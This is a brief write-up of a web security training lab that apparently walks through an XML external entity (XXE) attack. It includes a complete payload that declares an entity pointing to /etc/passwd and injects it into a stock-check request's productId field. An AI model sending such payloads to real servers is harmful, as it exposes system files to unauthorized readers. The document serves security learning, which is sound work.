01- Exploiting XXE using external entities to retrieve files

XXE Attack Overview

For an XXE attack, the basic approach is to use external entities.
To do this, we first need to define a custom DOCTYPE at the top of the XML request. This allows us to declare an external entity that points to a local file on the server.

Example of an external entity definition:

<!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY bar SYSTEM "/etc/passwd"> ]>

Here:

• bar is an external entity
• It references the /etc/passwd file on the server
• When &bar; is used later in the XML, the parser will replace it with the file contents

---

Exploit Payload

After defining the external entity, we simply call &bar; inside the XML body. In this case, we inject it into the <productId> field.

Final payload:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY bar SYSTEM "/etc/passwd"> ]> <stockCheck> <productId> &bar; </productId> <storeId> 1 </storeId> </stockCheck>

---

Result

When the XML is processed by the vulnerable application, the external entity is expanded, and the contents of /etc/passwd are returned in the response. This confirms a successful XXE file disclosure vulnerability and completes the lab.